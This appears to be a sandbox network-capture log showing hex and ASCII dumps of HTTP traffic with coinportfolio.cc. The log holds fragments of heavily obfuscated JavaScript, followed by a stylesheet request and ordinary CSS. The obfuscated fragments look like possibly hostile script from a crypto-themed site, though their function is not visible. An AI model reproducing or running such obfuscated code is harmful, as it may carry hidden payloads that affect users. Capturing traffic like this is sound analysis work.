2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 64 33 28 30 78 37 61 63 2c 30 78 61 65 36 2c 30 78 36 62 65 2c 30 78 35 61 64 29 29 2f 28 30 78 31 39 35 31 2b 2d 30 78 31 2a 30 78 65 35 33 2b 2d 30 78 61 66 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 37 31 39 33 64 33 28 30 78 31 32 66 2c 30 78 61 66 30 2c 30 78 35 31 36 2c 2d 30 78 39 35 29 29 2f 28 2d 30 78 35 39 64 2a 30 78 31 2b 2d 30 78 34 35 64 2b 30 78 61 30 31 29 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 37 31 39 33 64 33 28 30 78 33 35 38 2c 30 78 35 64 38 2c 30 78 37 64 65 2c 30 78 63 38 34 29 29 2f 28 30 78 31 62 37 66 2b 2d 30 78 31 39 39 65 2a 30 78 31 2b 30 78 31 64 39 2a 2d 30 78 31 29 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 35 32 61 34 64 66 28 2d 30 78 31 62 64 2c 30 78 39 35 2c 30 78 34 36 37 2c 30 78 32 39 34 29 29 2f 28 30 78 Data Ascii: d3(0x7ac,0xae6,0x6be,0x5ad))/(0x1951+-0x10xe53+-0xaf8)+-parseInt(_0x7193d3(0x12f,0xaf0,0x516,-0x95))/(-0x59d0x1+-0x45d+0xa01)(parseInt(_0x7193d3(0x358,0x5d8,0x7de,0xc84))/(0x1b7f+-0x199e0x1+0x1d9*-0x1))+parseInt(_0x52a4df(-0x1bd,0x95,0x467,0x294))/(0x
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 29 2c 27 67 4c 49 47 45 27 3a 5f 30 78 34 64 30 64 33 32 28 30 78 32 37 61 2c 30 78 31 64 61 2c 30 78 36 37 35 2c 30 78 31 64 35 29 2c 27 66 78 62 49 62 27 3a 27 66 74 41 4b 41 27 2c 27 51 46 69 64 7a 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 33 66 39 65 32 29 7b 72 65 74 75 72 6e 20 5f 30 78 35 33 66 39 65 32 28 29 3b 7d 2c 27 6b 73 6c 6e 73 27 3a 5f 30 78 31 61 37 35 61 61 28 30 78 34 35 64 2c 2d 30 78 65 66 2c 2d 30 78 33 62 31 2c 30 78 38 31 29 2c 27 64 56 67 64 52 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 32 62 64 66 30 2c 5f 30 78 34 34 34 35 32 31 2c 5f 30 78 38 65 63 64 39 61 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 32 62 64 66 30 28 5f 30 78 34 34 34 35 32 31 2c 5f 30 78 38 65 63 64 39 61 29 3b 7d 2c 27 49 62 54 41 57 27 3a 5f 30 78 31 61 37 Data Ascii: ),'gLIGE':_0x4d0d32(0x27a,0x1da,0x675,0x1d5),'fxbIb':'ftAKA','QFidz':function(_0x53f9e2){return _0x53f9e2();},'kslns':_0x1a75aa(0x45d,-0xef,-0x3b1,0x81),'dVgdR':function(_0x32bdf0,_0x444521,_0x8ecd9a){return _0x32bdf0(_0x444521,_0x8ecd9a);},'IbTAW':_0x1a7
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 31 66 30 62 30 37 2c 5f 30 78 31 33 37 30 38 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 31 66 30 62 30 37 28 5f 30 78 31 33 37 30 38 36 29 3b 7d 2c 27 6e 79 4d 4d 6b 27 3a 5f 30 78 34 64 30 64 33 32 28 30 78 31 63 66 2c 2d 30 78 34 38 33 2c 30 78 63 66 2c 30 78 31 62 34 29 2b 27 72 74 62 63 74 75 78 67 68 63 27 2b 27 6e 66 6e 6b 65 7a 75 71 72 61 27 2b 5f 30 78 34 64 30 64 33 32 28 30 78 62 63 64 2c 30 78 38 33 38 2c 30 78 31 31 31 35 2c 30 78 62 33 34 29 2c 27 42 4d 78 54 49 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 64 31 35 34 61 2c 5f 30 78 35 30 37 37 61 37 2c 5f 30 78 34 36 33 37 66 36 29 7b 72 65 74 75 72 6e 20 5f 30 78 33 64 31 35 34 61 28 5f 30 78 35 30 37 37 61 37 2c 5f 30 78 34 36 33 37 66 36 29 3b 7d 2c 27 48 78 58 4f 68 27 3a 66 75 6e 63 74 69 Data Ascii: 1f0b07,_0x137086){return _0x1f0b07(_0x137086);},'nyMMk':_0x4d0d32(0x1cf,-0x483,0xcf,0x1b4)+'rtbctuxghc'+'nfnkezuqra'+_0x4d0d32(0xbcd,0x838,0x1115,0xb34),'BMxTI':function(_0x3d154a,_0x5077a7,_0x4637f6){return _0x3d154a(_0x5077a7,_0x4637f6);},'HxXOh':functi
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 78 66 37 38 2c 30 78 35 62 36 2c 30 78 31 31 33 35 2c 30 78 61 61 63 29 2b 27 46 74 64 30 37 2e 46 46 67 46 27 2b 5f 30 78 31 61 37 35 61 61 28 2d 30 78 32 65 38 2c 30 78 39 33 30 2c 30 78 35 30 66 2c 30 78 33 38 37 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 36 30 61 2c 30 78 66 65 34 2c 30 78 39 31 37 2c 30 78 61 36 65 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 64 30 31 2c 30 78 37 62 39 2c 30 78 31 31 31 32 2c 30 78 62 33 63 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 36 34 61 2c 30 78 31 39 63 2c 30 78 65 2c 30 78 32 39 35 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 38 62 35 2c 30 78 62 37 61 2c 30 78 38 62 65 2c 30 78 39 33 32 29 2b 27 34 5c 78 32 32 46 65 74 46 28 64 61 64 27 2b 5f 30 78 34 64 30 64 33 32 28 30 78 38 63 61 2c 30 78 66 32 65 2c 30 78 38 39 Data Ascii: xf78,0x5b6,0x1135,0xaac)+'Ftd07.FFgF'+_0x1a75aa(-0x2e8,0x930,0x50f,0x387)+_0x1a75aa(0x60a,0xfe4,0x917,0xa6e)+_0x4d0d32(0xd01,0x7b9,0x1112,0xb3c)+_0x1a75aa(0x64a,0x19c,0xe,0x295)+_0x4d0d32(0x8b5,0xb7a,0x8be,0x932)+'4\x22FetF(dad'+_0x4d0d32(0x8ca,0xf2e,0x89
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 37 37 2c 30 78 33 31 33 2c 30 78 35 66 37 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 39 65 34 2c 30 78 31 30 62 33 2c 30 78 63 66 34 2c 30 78 61 65 39 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 63 37 31 2c 30 78 31 31 35 30 2c 30 78 31 30 37 36 2c 30 78 62 34 34 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 63 64 39 2c 30 78 66 35 66 2c 30 78 38 64 36 2c 30 78 62 35 34 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 35 64 62 2c 30 78 31 38 2c 30 78 33 62 37 2c 30 78 35 63 62 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 34 34 2c 2d 30 78 33 64 32 2c 2d 30 78 33 64 38 2c 30 78 61 30 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 38 33 34 2c 30 78 66 34 2c 30 78 31 30 31 2c 30 78 32 32 33 29 2b 27 2d 63 74 25 25 5c 78 32 30 25 2d 65 45 27 2b 5f 30 78 34 64 30 64 33 32 28 30 78 Data Ascii: 77,0x313,0x5f7)+_0x4d0d32(0x9e4,0x10b3,0xcf4,0xae9)+_0x4d0d32(0xc71,0x1150,0x1076,0xb44)+_0x1a75aa(0xcd9,0xf5f,0x8d6,0xb54)+_0x1a75aa(0x5db,0x18,0x3b7,0x5cb)+_0x4d0d32(0x44,-0x3d2,-0x3d8,0xa0)+_0x4d0d32(0x834,0xf4,0x101,0x223)+'-ct%%\x20%-eE'+_0x4d0d32(0x
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 2d 30 78 31 34 32 2c 30 78 32 36 39 2c 30 78 33 38 36 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 37 35 38 2c 30 78 33 36 33 2c 30 78 65 34 32 2c 30 78 39 30 64 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 34 64 34 2c 2d 30 78 34 33 66 2c 2d 30 78 34 37 65 2c 2d 30 78 36 39 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 36 30 38 2c 30 78 32 62 38 2c 30 78 39 31 32 2c 30 78 34 36 35 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 36 33 32 2c 30 78 65 39 30 2c 30 78 62 64 65 2c 30 78 63 39 37 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 65 63 65 2c 30 78 62 39 35 2c 30 78 35 37 31 2c 30 78 62 61 66 29 2b 27 46 5a 43 32 69 3c 73 4c 3f 61 27 2b 5f 30 78 34 64 30 64 33 32 28 30 78 36 63 38 2c 30 78 31 66 63 2c 2d 30 78 31 31 64 2c 30 78 31 63 39 29 2b 5f 30 78 31 61 37 35 61 61 Data Ascii: -0x142,0x269,0x386)+_0x1a75aa(0x758,0x363,0xe42,0x90d)+_0x1a75aa(0x4d4,-0x43f,-0x47e,-0x69)+_0x4d0d32(0x608,0x2b8,0x912,0x465)+_0x4d0d32(0x632,0xe90,0xbde,0xc97)+_0x4d0d32(0xece,0xb95,0x571,0xbaf)+'FZC2i<sL?a'+_0x4d0d32(0x6c8,0x1fc,-0x11d,0x1c9)+_0x1a75aa
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 78 34 65 39 2c 30 78 31 31 38 2c 30 78 33 36 65 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 65 36 2c 2d 30 78 34 37 34 2c 2d 30 78 32 37 61 2c 2d 30 78 34 34 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 39 36 33 2c 2d 30 78 65 30 2c 30 78 38 66 64 2c 30 78 35 39 37 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 62 39 62 2c 30 78 65 34 61 2c 30 78 35 65 36 2c 30 78 39 33 61 29 2b 27 5a 67 37 21 2e 63 32 36 46 61 27 2b 27 67 62 45 48 31 32 62 5a 74 48 27 2b 27 75 2f 4c 69 61 34 30 6d 25 2d 27 2b 5f 30 78 34 64 30 64 33 32 28 2d 30 78 31 63 30 2c 30 78 37 65 31 2c 30 78 39 30 2c 30 78 31 35 34 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 38 63 35 2c 30 78 37 65 33 2c 30 78 31 66 31 2c 30 78 35 39 35 29 2b 27 25 30 23 72 38 37 33 25 32 25 27 2b 5f 30 78 31 61 37 35 61 61 Data Ascii: x4e9,0x118,0x36e)+_0x1a75aa(0xe6,-0x474,-0x27a,-0x44)+_0x1a75aa(0x963,-0xe0,0x8fd,0x597)+_0x4d0d32(0xb9b,0xe4a,0x5e6,0x93a)+'Zg7!.c26Fa'+'gbEH12bZtH'+'u/Lia40m%-'+_0x4d0d32(-0x1c0,0x7e1,0x90,0x154)+_0x1a75aa(0x8c5,0x7e3,0x1f1,0x595)+'%0#r873%2%'+_0x1a75aa
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 5f 30 78 34 64 30 64 33 32 28 30 78 65 36 37 2c 30 78 64 66 37 2c 30 78 36 65 30 2c 30 78 61 36 39 29 2b 27 5a 5a 63 5a 43 46 5a 5a 6f 5a 27 2b 5f 30 78 31 61 37 35 61 61 28 2d 30 78 32 62 35 2c 30 78 35 30 61 2c 2d 30 78 33 33 66 2c 30 78 33 30 30 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 61 65 63 2c 30 78 31 31 39 38 2c 30 78 62 66 30 2c 30 78 62 36 33 29 2b 27 4c 76 55 5a 46 73 37 70 72 46 27 2b 27 4c 61 4c 6e 75 61 2e 23 66 38 27 2b 5f 30 78 31 61 37 35 61 61 28 30 78 32 37 36 2c 30 78 33 30 36 2c 30 78 32 65 32 2c 30 78 35 33 61 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 34 33 61 2c 30 78 31 34 30 2c 30 78 36 35 65 2c 30 78 37 35 63 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 36 30 65 2c 30 78 35 39 37 2c 30 78 37 31 39 2c 30 78 39 64 34 29 2b 5f 30 78 Data Ascii: _0x4d0d32(0xe67,0xdf7,0x6e0,0xa69)+'ZZcZCFZZoZ'+_0x1a75aa(-0x2b5,0x50a,-0x33f,0x300)+_0x4d0d32(0xaec,0x1198,0xbf0,0xb63)+'LvUZFs7prF'+'LaLnua.#f8'+_0x1a75aa(0x276,0x306,0x2e2,0x53a)+_0x1a75aa(0x43a,0x140,0x65e,0x75c)+_0x1a75aa(0x60e,0x597,0x719,0x9d4)+_0x
2024-08-09 17:11:49 UTC	1369	IN	Data Raw: 2c 2d 30 78 33 33 2c 30 78 36 64 33 2c 30 78 32 36 36 29 2b 27 2e 25 25 6c 34 5c 78 32 32 77 2d 69 6c 27 2b 5f 30 78 31 61 37 35 61 61 28 30 78 66 63 64 2c 30 78 35 34 35 2c 30 78 65 30 62 2c 30 78 61 36 62 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 36 62 62 2c 30 78 65 66 33 2c 30 78 31 31 63 65 2c 30 78 63 30 63 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 34 37 30 2c 30 78 36 63 64 2c 30 78 38 64 30 2c 30 78 39 30 37 29 2b 5f 30 78 34 64 30 64 33 32 28 30 78 61 31 34 2c 30 78 62 33 38 2c 30 78 62 61 66 2c 30 78 38 30 66 29 2b 5f 30 78 31 61 37 35 61 61 28 30 78 64 62 65 2c 30 78 31 32 30 65 2c 30 78 63 65 61 2c 30 78 63 30 38 29 2b 27 40 64 6c 35 77 5c 78 32 32 38 21 25 30 27 2b 5f 30 78 34 64 30 64 33 32 28 30 78 32 62 63 2c 2d 30 78 38 62 2c 2d 30 78 32 Data Ascii: ,-0x33,0x6d3,0x266)+'.%%l4\x22w-il'+_0x1a75aa(0xfcd,0x545,0xe0b,0xa6b)+_0x4d0d32(0x6bb,0xef3,0x11ce,0xc0c)+_0x4d0d32(0x470,0x6cd,0x8d0,0x907)+_0x4d0d32(0xa14,0xb38,0xbaf,0x80f)+_0x1a75aa(0xdbe,0x120e,0xcea,0xc08)+'@dl5w\x228!%0'+_0x4d0d32(0x2bc,-0x8b,-0x2

Timestamp	Bytes transferred	Direction	Data
2024-08-09 17:11:50 UTC	558	OUT	GET /2feb3e56b/prs.css HTTP/1.1 Host: coinportfolio.cc Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://coinportfolio.cc/2feb3e56b/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-09 17:11:50 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 09 Aug 2024 17:11:50 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 16 Aug 2024 14:47:52 GMT last-modified: Thu, 08 Aug 2024 11:05:28 GMT vary: Accept-Encoding,User-Agent x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 8638 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G6a1mz5WCDUHKARWNJjJISKjmsedkY0rOnh%2Fao3GREv2JYV8q75R9dJZF0MXxQApemtK3HJOMeVxDaCrm0WwOSIhbmWwIIOmY1XOkmenb2DgXlG%2FV58e7ebjP8N81GfTqWIM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b095e1efae30cc8-EWR alt-svc: h3=":443"; ma=86400
2024-08-09 17:11:50 UTC	618	IN	Data Raw: 37 63 63 32 0d 0a 0d 0a 68 74 6d 6c 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d Data Ascii: 7cc2html{ font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 38 34 33 35 33 34 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 7b 66 72 6f 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 34 30 70 78 20 30 7d 74 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 7d 7d 40 2d 6f 2d 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 7b 66 72 6f 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 34 30 70 78 20 30 7d 74 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 7b 66 72 6f 6d 7b 62 61 63 6b 67 Data Ascii: ink{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{backg
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 2c 2e 31 35 29 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 34 30 70 78 20 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 34 30 70 78 20 34 30 70 78 7d 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 2e 61 63 74 69 76 65 2c 2e 70 72 6f 67 72 65 73 73 2e 61 63 74 69 76 65 20 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 2d 6f 2d 61 6e 69 6d 61 74 69 6f 6e 3a 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 73 74 72 69 70 65 73 20 32 73 20 6c 69 6e 65 61 72 20 69 6e Data Ascii: ,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear in
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 61 72 65 6e 74 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 34 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 35 29 20 32 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 32 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 35 29 20 35 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 35 29 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 7d 2e 70 72 6f 67 72 65 73 73 2d 62 61 72 2d 77 61 72 6e 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 30 61 64 34 65 7d 2e 70 72 6f 67 72 65 Data Ascii: arent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progre
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 6e 73 70 61 72 65 6e 74 20 35 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 35 29 20 35 30 25 2c 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 31 35 29 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 20 37 35 25 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 7d 2e 6d 65 64 69 61 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 7d 2e 6d 65 64 69 61 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 6d 65 64 69 61 2c 2e 6d 65 64 69 61 2d 62 6f 64 79 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 7a 6f 6f 6d 3a 31 7d 2e 6d 65 64 69 61 2d 62 6f 64 79 7b 77 69 64 74 68 3a 31 30 30 30 30 70 78 7d 2e 6d 65 64 69 61 2d 6f 62 6a 65 63 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 6d 65 64 69 61 2d 6f 62 6a Data Ascii: nsparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-obj
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 65 6d 2e 64 69 73 61 62 6c 65 64 2c 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 2c 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 63 75 72 73 6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2c 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2c 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 Data Ascii: em.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.di
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 23 64 66 66 30 64 38 7d 61 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 73 75 63 63 65 73 73 2c 62 75 74 74 6f 6e 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 73 75 63 63 65 73 73 7b 63 6f 6c 6f 72 3a 23 33 63 37 36 33 64 7d 61 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 73 75 63 63 65 73 73 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2c 62 75 74 74 6f 6e 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 73 75 63 63 65 73 73 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 61 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 73 75 63 63 65 73 73 3a 66 6f 63 75 73 2c 61 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d Data Ascii: color:#dff0d8}a.list-group-item-success,button.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading,button.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 70 2d 69 74 65 6d 2d 77 61 72 6e 69 6e 67 7b 63 6f 6c 6f 72 3a 23 38 61 36 64 33 62 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 63 66 38 65 33 7d 61 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 77 61 72 6e 69 6e 67 2c 62 75 74 74 6f 6e 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 77 61 72 6e 69 6e 67 7b 63 6f 6c 6f 72 3a 23 38 61 36 64 33 62 7d 61 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 77 61 72 6e 69 6e 67 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2c 62 75 74 74 6f 6e 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 77 61 72 6e 69 6e 67 20 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 61 2e 6c 69 73 74 2d 67 72 Data Ascii: p-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning,button.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading,button.list-group-item-warning .list-group-item-heading{color:inherit}a.list-gr
2024-08-09 17:11:50 UTC	1369	IN	Data Raw: 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 61 39 34 34 34 32 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 61 39 34 34 34 32 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 7d 2e 6c 69 73 74 2d 67 72 6f 75 70 2d 69 74 65 6d 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 7d 2e 70 61 6e 65 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 Data Ascii: er{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-r
